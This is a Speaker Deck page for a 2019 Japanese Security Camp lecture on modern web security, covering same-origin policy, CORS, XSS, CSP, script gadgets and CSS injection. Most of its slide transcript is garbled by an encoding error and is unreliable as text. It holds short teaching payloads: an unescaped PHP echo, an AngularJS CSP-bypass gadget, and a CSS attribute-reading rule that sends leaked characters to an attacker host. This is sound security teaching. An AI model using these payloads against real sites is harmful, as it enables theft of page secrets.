Upgrade to Pro — share decks privately, control downloads, hide ads and more …

体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) ...

Takashi Yoneuchi
August 15, 2019
Research
47
21k

体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) / Learn Modern Web Security Systematically

セキュリティ・キャンプ全国大会 2019 開発と運用トラックで提供した講義の資料の一部です。誤りに気がついたら、ぜひ @y0n3uchy あるいは @lmt_swallow にお知らせください。

Takashi Yoneuchi

August 15, 2019
Tweet

More Decks by Takashi Yoneuchi

See All by Takashi Yoneuchi
プロダクトセキュリティの「共通言語」を作る ― 技術教育と Policy as Code を例に / "Language" for Product Security
lmt_swallow
0
680
SREを以てセキュリティエンジニアリングを制す / SRE, Security Engineering, and You
lmt_swallow
5
2.8k
Eliminating ReDoS with Ruby 3.2
lmt_swallow
0
220
ソフトウェアサプライチェーンのこれから / Securing Software Supply Chain
lmt_swallow
1
210
AWSのセキュリティ管理をPolicy as Codeで加速する ― 最高のCSPM体験を目指して / Unleashing Policy as Code on AWS CSPM
lmt_swallow
3
2.1k
実践 SpiceDB - クライドネイティブ時代をサバイブできるパーミッション管理の実装を目指して / Practical SpiceDB
lmt_swallow
0
1.6k
Developer-First Security という考え方 / Introduction to Developer-First Security
lmt_swallow
6
9.1k
ちいさな Web ブラウザを作ってみよう（オンライン講義版） / Build Your Own Web Browser
lmt_swallow
18
11k
Go をセキュアに書き進めるための
「ガードレール」を整備しよう / Let's Build Security Guardrails For Your Go Programs!
lmt_swallow
4
5.4k

Other Decks in Research

See All in Research
RSJ2024「基盤モデルの実ロボット応用」チュートリアルA（河原塚）
haraduka
3
700
Global Evidence Summit (GES) 参加報告
daimoriwaki
0
190
PetiteSRE_GenAIEraにおけるインフラのあり方観察
ichichi
0
200
Weekly AI Agents News! 11月号 プロダクト/ニュースのアーカイブ
masatoto
0
200
機械学習でヒトの行動を変える
hiromu1996
1
380
第 2 部 11 章「大規模言語モデルの研究開発から実運用に向けて」に向けて / MLOps Book Chapter 11
upura
0
430
渋谷Well-beingアンケート調査結果
shibuyasmartcityassociation
0
300
論文紹介: COSMO: A Large-Scale E-commerce Common Sense Knowledge Generation and Serving System at Amazon (SIGMOD 2024)
ynakano
1
200
The Relevance of UX for Conversion and Monetisation
itasohaakhib1
0
110
精度を無視しない推薦多様化の評価指標
kuri8ive
1
290
外積やロドリゲスの回転公式を利用した点群の回転
kentaitakura
1
720
データサイエンティストをめぐる環境の違い 2024年版〈一般ビジネスパーソン調査の国際比較〉
datascientistsociety
PRO
0
780

Featured

See All Featured
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
330
21k
A designer walks into a library…
pauljervisheath
204
24k
How to train your dragon (web standard)
notwaldorf
88
5.7k
How STYLIGHT went responsive
nonsquared
95
5.2k
GraphQLの誤解/rethinking-graphql
sonatard
67
10k
Gamification - CAS2011
davidbonilla
80
5.1k
Automating Front-end Workflow
addyosmani
1366
200k
Sharpening the Axe: The Primacy of Toolmaking
bcantrill
38
1.9k
Visualization
eitanlees
146
15k
Producing Creativity
orderedlist
PRO
341
39k
How GitHub (no longer) Works
holman
311
140k
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
33
1.9k

Transcript

  1. ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ηΩϡϦςΟɾΩϟϯϓશࠃେձ։ൃͱӡ༻τϥοΫ 5BLBTIJ:POFVDIJ !MNU@TXBMMPX !ZOVDIZ 'MBUU4FDVSJUZ *OD
 %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZP

    IUUQTTIJGUKTJOGP

  2. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5BLBTIJ:POFVDIJ ‣ !MNU@TXBMMPX !ZOVDIZ ‣ 8PSLJOHBU ‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF

    'BDVMUZ PG4DJFODF UIF6OJWFSTJUZPG5PLZP ‣ *ὑ8FC ‣ DUGCMFBEFS TFDDBNQTUB⒎ ‣ 54(EPEPEPEP ‣ 4FFIUUQTTIJGUKTJOGP  

  3. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊࢿྉͷ֓ཁ
 4QFBLFS%FDLಡऀ޲͚ ‣ ຊߨٛͷࢿྉͱͯ͠͸ɺҎ ԼͷͭΛར༻͠·ͨ͠ɻ ‣ ࣄલֶशʜถ಺͕ݱࡏࣥ චதͷຊͷ૲ߘ

    ‣ ౰೔ʜ͜ͷεϥΠυ ‣ ͜ͷεϥΠυ͸ɺࣥචதͷ ຊͰ·ͩॻ͚͍ͯͳ͍ͱ͜ ΖΛิ͏ͨΊͷ΋ͷͰ͢ɻ ‣ ͥͻຊͷެ։ ग़൛ Λ͓଴ ͪԼ͍͞ɻ  

  4. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ   ࣄલֶशࢿྉͷ໨࣍ͷͪΒΈͤ
 4QFBLFS%FDLಡऀ޲͚

  5. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊߨٛͷ໨ඪ ࠶ 
 8FCηΩϡϦςΟΛମܥతʹֶͿɺͱ͸ ‣ 8FCΞϓϦέʔγϣϯͷ੬ऑੑ 42-J 99&

     ͸ֶ΂͹෼͔Δ ‣ ։ൃ࣌ʹؾʹ͢΂͖͜ͱ͸ɺ֓Ͷଞ෼໺ͷ։ൃͱ͕ࠜҰॹ ‣ ೖྗ஋Λ৴༻͠ͳ͍ ద੾ͳݖݶ؅ཧ FUD ‣ ͔͠͠8FCಛ༗ͳύϥμΠϜ͸ֶͼʹ͍͘ ‣ ʮυΩϡϝϯτ͸ࢄҳ͍ͯ͠Δ͠ʜʯ ‣ ʮ࢓༷ؒͷͭͳ͕Γ΋ݟ͑ͳ͍͠ʜʯ ‣ ຊߨٛͷ໨ඪجຊతͳ8FCηΩϡϦςΟͷύϥμΠϜΛֶͿ͜ͱ ‣ Ͳ͏͍͏ڥք͕Ҿ͔ΕΔ΂͖͔ʁ ‣ Ͳ͏͍͏ಈػ͔ΒɺͲΜͳ࢓༷ɾ߈ܸ͕ग़͖͔ͯͨʁ  

  6. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰ΍ͬͨ͜ͱ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝୊1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓࿦ ‣ ࿦఺ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔

    ‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ ࿦఺401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ ࿦఺5SBOTJFOU&YFDVUJPO"UUBDLTͷ͞ΘΓ 4JUF 4JUF*TPMBUJPO  $03# $031 $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ  

  7. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰ΍ͬͨ͜ͱ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝୊1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓࿦ ‣ ࿦఺ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔

    ‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ ࿦఺401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ ࿦఺5SBOTJFOU&YFDVUJPO"UUBDL 4JUF 4JUF*TPMBUJPO $03# $031  $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ   ΍Γ͗ͨ͢ ߨٛͰ΍Ζ͏ͱࢥͬͯͨ͜ͱ
 ͥΜͿ΍ͬͪΌͬͨʜ

  8. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF
 ࠓ೔ͷߨٛͰ΍Δ͜ͱ ‣ *OUSPEVDUJPO NJO  ‣ 401$034944


    NJO  ‣ 1PTU9448PSME NJO  ‣ $44*OKFDUJPO NJO  ‣ 94-FBLTBOE944FBSDI
 NJO   ‣ 5SZ401944$IBMMFOHF
 NJO  ‣ $44*OKFDUJPO$IBMMFOHF
 NJO  ‣ 944FBSDI$IBMMFOHF
 NJO  ‣ 3FDPO$IBMMFOHF NJO -FDUVSF $IBMMFOHF 

  9. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ΞΠεϒϨΠΫ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ౡͷதͰࣗݾ঺հ͠·͠ΐ͏ બ୒ߨٛͳͷͰ ɻ ‣ ໊લʜِ໊ɾϋϯυϧωʔϜ΋Մ

    ‣ ޷͖ͳ͜ͱʜݚڀͷ࿩Ͱ΋ɺ೔ৗͷ࿩Ͱ΋ɺΞχϝͷ࿩Ͱ΋ɻ ‣ Λࣗવ਺ʹؚΊΔ೿͔ɺؚΊͳ͍೿͔ɻ ‣ ͕࣌ؒ༨ͬͨΒɺ಄ͷମૢ͕ͯΒɺҎԼΛ໰Λ࠶ߟͯ͠ΈΑ͏ɻ ‣ ໰401 $034͸ͳͥඞཁͳͷͰ͠ΐ͏͔ɻ ‣ ໰944ͱ401ͷؔ܎ੑ͸આ໌Ͱ͖·͔͢ɻ ‣ ໰$41͸Ͳ͏͍͏໰୊ʹର͠ɺͲͷΑ͏ͳޮྗΛ΋ͪ·͔͢ɻ  

  10. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ஫ҙࣄ߲
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ΄ͲΑ͍͍ͨͣΒ৺ͱɺͱͯ΋Α͍ྙཧ؍Λ࣋ͪ·͠ΐ͏ɻ ‣ 4/4Ͱຊߨٛͷ࣮گɾײ૝ΛπΠʔτ͢Δͷ͸ߏ͍·ͤΜɻ ‣ ͦͷࡍʹ͸ࡍʹ͸ɺͥͻҎԼͷλάΛ෇͚͍ͯͩ͘͞

     ‣ TFDDBNQTFDDBNQC ‣ ஫ҙͨͩ͠ɺ͋͘·ͰྙཧతͳπΠʔτΛ৺͕͚͍ͯͩ͘͞ɻ ‣ ຊߨٛͷԋशͰ͸ɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ ετʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ ‣ IBDRNF ‣ TIJGUKTJOGP  

  11. ࣄલֶशͷৼΓฦΓ

  12. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 8FCʹ͓͚Δڥքͷඞཁੑ
 ͳͥڥք͕Ҿ͔ΕΔ΂͖ͳͷͩΖ͏͔ ‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰ੾ͷ੍ݶ͕ͳ͚Ε͹ɺ߈ ܸऀ͸গͳ͍εςοϓͰ৘ใΛϦʔΫͰ͖Δɻ ‣ ໰FWJMDPN͕GFUDI FYBNQMFDPN

    Λൃߦ͠ɺͦͷ݁ՌΛಡΉ͜ ͱ͕ग़དྷΔ৔߹ɺ߈ܸऀ͸ͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ ‣ ໰͋Δ͍͸ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠΋ͷΛಡΊ ͨΒͲ͏͔ɻ   http://evil.com ΋ࣗ͠༝ʹ
 ಡΈॻ͖͕ग़དྷͨΒʁ http://example.com

  13. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO͸࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻ VSJTDIFNF VSJIPTU VSJQPSU 

    ‣ VSJTDIFNFFHIUUQ IUUQT  ‣ VSJIPTUFHFYBNQMFDPN  ‣ VSJQPSUFH   ‣ ஫VSJQPSU͕লུ͞Ε͍ͯΔ৔߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷ ϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻ   IUUQFYBNQMFDPNTPNFQBUI

  14. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4BNF0SJHJO1PMJDZ
 "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO ‣ ֓ཁ4BNF0SJHJO1PMJDZ ‣ 401͸ҎԼΛېࢭ͢Δɻ ‣ $SPTT0SJHJOͳಡΈࠐΈ

    ‣ ྫGFUDIͷ݁Ռ ‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦෼త  ‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034  ‣ 8FCϒϥ΢β͕࣋ͭ࠷΋ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ  

  15. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DIXFOLFUBM 
 4BNF0SJHJO1PMJDZͷςετ ‣ ٙ໰ 4DIXFOLFUBM  

    ‣ 401%0. 401GPS%0. ͸ɺϞμϯͳϒϥ΢βʹ͓͍ͯɺͲͷΑ ͏ʹ࣮૷͞Ε͍ͯΔͷͩΖ͏͔ɻ ‣ 401%0.ʹؔ܎ͷ͋Δ)5.-ϚʔΫΞοϓ͸ͲΕ͔ɻ ‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥ΢βͷڍಈ͸Ϛον͍ͯ͠Δ͔ɻ ‣ ൴Βͷߩݙ ͷҰ෦  ‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ɻIUUQZPVSTPQDPN ‣ ݕূ๏Λମܥతʹهड़͠ɺࠓ·Ͱ͸Τοδέʔεͩͬͨ΋ͷ΋र͑Δ Α͏ʹͳͬͨɻ ‣ ݁Ռϒϥ΢βؒͰͷࠩҟ͕ݟΒΕͨɻ ׂ߹ͳͲ͸࿦จࢀর  

  16. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $034 $SPTT0SJHJO3FTPVSDF4IBSJOH 
 0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ ‣ ໰୊$SPTT0SJHJOͳϦιʔεΛਖ਼౰ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞ ৔߹ʹ͸Ͳ͏͢Ε͹Α͍ͷͩΖ͏͔ɻ ‣

    ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH ‣ ϦιʔεΛར༻͍ͨ͠ଆ͸ɺࣗ਎ͷ0SJHJOΛ0SJHJOϦΫΤετϔο μͷ஋ͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ ‣ ϦιʔεΛఏڙ͢Δଆ͸ɺ"DDFTT$POUSPM"MMPX Ϩεϙϯεϔο μΛ௨ͯ͠ɺڐՄෆڐՄΛ఻͑Δɻ ‣ ϒϥ΢β͸ϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛ൑அ͢Δɻ ‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034 )551c.%/
 IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034  

  17. &YFSDJTF
 401$034 ඇެ։

  18. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4JUF 0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք ‣ ໰୊0SJHJO͸΍΍ݫ͍͠ͷͰɺΑΓMPPTFͳ੍໿͕΄͍͠ɻ ‣ ղܾ4JUF ‣ 3FJTBOE(SJCCMF

     4DIFNF  F5-%   ‣ 8)"58(F5-%  ‣ ࠾༻ྫ ‣ 4JUF*TPMBUJPO3FJTBOE(SJCCMFͷ΋ͷ ‣ ࢀߟ$3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT 4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO64&/*94FDVSJUZ 4ZNQPTJVN  ‣ 4BNF4JUF$PPLJF $001 $0&1 8)"58(ͷ΋ͷ  

  19. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ   ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷ΋ͭσʔλ͸ɺͦͷ֎ ෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͸͋Δ ɻ ‣

    944͸ͦͷ੍໿ͷճආͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ Origin A スクリプト挿⼊入 <?= $_GET['q'] ?>

  20. &YFSDJTF
 944 ඇެ։

  21. 1PTU944ͷੈքΛோΊΔ

  22. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦϑϨʔϜϫʔΫଆ
 'PPMQSPPG "VUPFTDBQJOH FUD ‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର ࡦΛఏڙ͍ͯ͠Δɻ ‣

    جຊ͸ࣗಈͰΤεέʔϓ͢Δɻ ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥ͸שى͢Δɻ ‣ FHEBOHFSPVTMZ4FU*OOFS)5.-   <?= $_GET['q'] ?> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  23. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ$41
 $POUFOU4FDVSJUZ1PMJDZ ‣ ΞΠσΞ ‣ ։ൃऀ͸ɺ)5.-+4ͷͲͷ෦෼͕ࣗ෼͕ఏڙͨ͠΋ͷͰɺͲͷ෦෼ ͕ͦ͏Ͱͳ͍͔Λ஌͍ͬͯΔɻ ‣

    *OKFDU͞Εͯ΋ɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚Ε͹Α͍ɻ ‣ $41͸։ൃऀ͕ϒϥ΢βʹ ؔ܎͢Δ0SJHJO΍ਖ਼نͷ+4͸ͲΕ ͔ɺͳͲͷ ࣄલ৘ใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ๷ ͍Ͱ͍͜͏ɺͱ͍͏࢓૊Έɻ   Content-Security-Policy: script-src 'nonce-4g34...34r' <script nonce="4g34...34r">alert('Hello, CSP!')</script> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  24. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ Ͱ͖Δ͜ͱ
 $POUFOU4FDVSJUZ1PMJDZ ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ ‣ ྫTDSJQUTSD GSBNFTSD 

    ‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ ‣ ྫCBTFVSJ TBOECPY  ‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ ‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP ‣ 3FQPSUJOH%JSFDUJWFT$41ҧ൓ͷϨϙʔτػೳΛ੍ݶ ‣ ྫSFQPSUVSJ SFQPSUUP ‣ ࣄલֶशͷ1%'ʹ΋ܰ͘ॻ͍ͨͷͰɺࡉ͔͍࿩͸͠·ͤΜɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  25. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣮ࡍͷӡ༻ྫ
 $POUFOU4FDVSJUZ1PMJDZ ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ͸૿͖͍͑ͯͯΔɻ ‣ 5XJUUFS (JU)VC 'BDFCPPL

    4OBQDIBU  ‣ 3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ΋͋ΔΒ͍͠ɻ ‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  26. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ؔ࿈ݚڀ
 $POUFOU4FDVSJUZ1PMJDZ ‣ ࠓ೔ͷ$41ʹࢸΔ·Ͱʹ͸ɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ ‣ ୅දతͳؔ࿈ݚڀ ‣ #&&1

    +JNFUBM   ‣ 40." 0EBFUBM   ‣ /PODFTQBDFT 7BO(VOEZBOE$IFO   ‣ ॳظͷ$41 4UBNNFUBM  -FWFM -FWFM ‣ ए͍ࠒ #ͷ͜Ζ ʹॻ͍ͨεϥΠυͳͷͰগʑߥ࡟Γ͕ͩɺ͜ͷ εϥΠυʹ͜ͷؔ࿈ͷ࿩͸·ͱΊͯ͋Δɻ ‣ IUUQTTIJGUKTJOGPQVCMJDBUJPOT$41QEG   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  27. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ల๬
 $POUFOU4FDVSJUZ1PMJDZ ‣ ໰୊$41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ ‣ ۙ೥͸$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ ‣ ޙํޓ׵ੑ

    CBDLXBSEDPNQBUJCJMJUZ Λอͭඞཁ͔Βɺଟ͘ͷ໰୊ ͕ൃੜ͖ͯͨ͠ɻ ‣ ఏҊ$41ΛEJTKPJOUʹ෼ׂ͍ͨ͠ɻ ‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔͸ɺΞΠσΞ  ‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU ‣ ՝୊$41͕ࠓ๊͍͑ͯΔ໰୊ͱ͸ҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓ ޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  28. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ944"VEJUPSܥ
 &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944   ‣ ൓ࣹܕ 944Λϒϥ΢β͕ݕ஌ ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ

    ‣ 99441SPUFDUJPOϔομʹΑ ΓϞʔυ͕ܾΊΒΕΔ ‣ ແޮ   ‣ pMUFS NPEFpMUFS  ‣ CMPDL NPEFCMPDL  ‣ ݱࡏ944"VEJUPS͸ফ͑Δํ޲ ʹਐΜͰ͍ΔɻDMBQ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  29. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944ٕ๏ͷൃల
 4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ ‣ ໰୊$41ͷ͍ͤͰɺ͏·͘೚ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM 

     ‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4΍ɺ͢Ͱʹϩʔυ͞ Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻ PSར༻͢Ε͹ɺ೚ҙ +4࣮ߦʹܨ͛ΒΕΔͷͰ͸ͳ͍͔ɻ ‣ DG%&1ʹର͢Δ3FUVSO0SJFOUFE1SPHSBNNJOH 301 ΍ 3FUVSOUPMJCD   <script src="https://ajax.googleapis.com/ajax/libs/ angularjs/1.0.8/angular.js"></script> <div ng-app ng-csp ng-mouseover=$event.view.alert('XSS')> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  30. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DSJQUMFTT"UUBDLT
 +BWB4DSJQUΛར༻͠ͳ͍߈ܸ ‣ ໰+4Λ࢖ΘͣʹͰ͖Δ߈ܸʹ͸ɺͲͷΑ͏ͳ΋ͷ͕͋Δ͔ɻ ‣ 944ରࡦ͸͍ͯͯ͠΋ɺͦΕҎ֎͸ҙࣝͷ֎Ͱ͋Δɺͱ͍͏৔߹͸͠ ͹͠͹͋ΔͨΊɺ͜Ε͸༗ӹͳ໰ɻ ‣

    ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత  ‣ $44*OKFDUJPOʹؔͯ͠͸ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF UFDIOJRVF GPOUSBOHFUFDIOJRVF ౳ͷςΫχοΫ͕XFMMLOPXOɻ ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB   IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG ‣ ͜ͷྨͷ߈ܸ͸͠͹͠͹໰୊ࢹ͞Ε͖ͯͨɻ ‣ $41पΓͷಈ͖Λ௨ͯ͠ɺΑΓ੝Μʹ۷ΒΕΔΑ͏ʹͳ͖ͬͯͨҹ৅ɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  31. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 94-FBLT944FBSDI
 "UUBDLTBJNJOHUIFQPTU944XPSME ‣ ໰ͦ΋ͦ΋$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍৔߹ʹ΋ɺ߈ܸऀ͸Կ Β͔ͷ߈ܸΛߦ͏༨஍͕͋ΔͷͩΖ͏͔ɻ ‣ ΞΠσΞ΋͠৘ใͷ׬શͳϦʔΫ͕ݫͯ͘͠΋ʜʜʁ ‣

    $SPTT0SJHJO͔ΒͰ΋ಡΊΔ৘ใ͔ΒɺԿ͔ҙຯͷ͋Δ৘ใΛ நग़Ͱ͖ͳ͍͔ɻ ‣ ͦ΋ͦ΋ಡ·ΕΔ͜ͱ͕૝ఆ͞Ε͍ͯͳ͍৘ใΛɺαΠυνϟω ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ ‣ ͜ͷΞΠσΞͷ΋ͱɺ$SPTTTJUF-FBLT 94-FBLT ΍$SPTT TJUF4FBSDI 944FBSDI ͱݺ͹ΕΔྨ͕ొ৔ͨ͠ɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  32. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ༨ஊ
 Ξφϩδʔʁ   ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU (BEHFUTʯʁ ‣

    ϋʔυ΢ΣΞ %&1͸/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ ‣ $41͸σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ ‣ ߏ଄͕ࣅͯ·͢Ͷɻ͔֬ʹಉ͡੾ΓޱͰ߈ܸΛݕ౼Ͱ͖Δɻ ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM   ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS  ‣ 6TF"GUFS'SFF 6"' ͷߟ͑ํΛҰൠԽͯ͠ண૝ΛಘͨΒ͍͠ɻ ‣ %BOJFM(SVTTࢯ΍ͦͷपลͷํʑ͕΍͍ͬͯΔݚڀ͸ඇৗʹ໘ന͍ͷ Ͱɺ΢Υον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔΋ɻ

  33. $44*OKFDUJPO

  34. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ લఏ஌ࣝ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ
 ‣ ͜Ε͸࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ ‣ ͜ΕΛԠ༻͢Δͱ

    ଐੑ஋ΛMFBLՄೳɻ   <input type="hidden" value="abc"> input[value ^= "a"] { /* ... */ }
 input[value ^= "ab"] { /* ... */ }
 input[value ^= "abc"] { /* ... */ }

  35. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷߏ଄ "UUSJCVUF3FBEJOH$44*OKFDUJPO   input[value ^= "a"] {


    background: url(http://attacker.example/?a)
 } /* ... */ ‘ 攻撃ベクタ リクエスト リーク 反射型 蓄積型 準備

